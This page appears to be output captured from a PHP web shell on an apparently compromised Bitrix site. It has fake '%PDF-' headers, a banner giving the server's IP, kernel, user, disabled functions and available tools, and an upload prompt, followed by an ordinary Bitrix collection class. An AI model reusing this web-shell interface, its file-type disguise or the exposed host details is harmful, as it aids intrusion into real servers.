%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.116.65.1 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/ |
Upload File : |
<?php namespace Bitrix\Sale\Internals; use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); /** * Class CollectionBase * @package Bitrix\Sale\Internals */ abstract class CollectionBase implements \ArrayAccess, \Countable, \IteratorAggregate { /** @var CollectableEntity[] $collection */ protected $collection = array(); /** * @return \ArrayIterator */ public function getIterator() { return new \ArrayIterator($this->collection); } /** * Whether a offset exists */ public function offsetExists($offset) { return isset($this->collection[$offset]) || array_key_exists($offset, $this->collection); } /** * Offset to retrieve */ public function offsetGet($offset) { if (isset($this->collection[$offset]) || array_key_exists($offset, $this->collection)) { return $this->collection[$offset]; } return null; } /** * Offset to set */ public function offsetSet($offset, $value) { if($offset === null) { $this->collection[] = $value; } else { $this->collection[$offset] = $value; } } /** * Offset to unset */ public function offsetUnset($offset) { unset($this->collection[$offset]); } /** * Count elements of an object */ public function count() { return count($this->collection); } /** * Return the current element */ public function current() { return current($this->collection); } /** * Move forward to next element */ public function next() { return next($this->collection); } /** * Return the key of the current element */ public function key() { return key($this->collection); } /** * Checks if current position is valid */ public function valid() { $key = $this->key(); return $key !== null; } /** * Rewind the Iterator to the first element */ public function rewind() { return reset($this->collection); } /** * Checks if collection is empty. * * @return bool */ public function isEmpty() { return empty($this->collection); } public function toArray() { $result = []; foreach ($this->collection as $entity) { $result[] = $entity->toArray(); } return $result; } }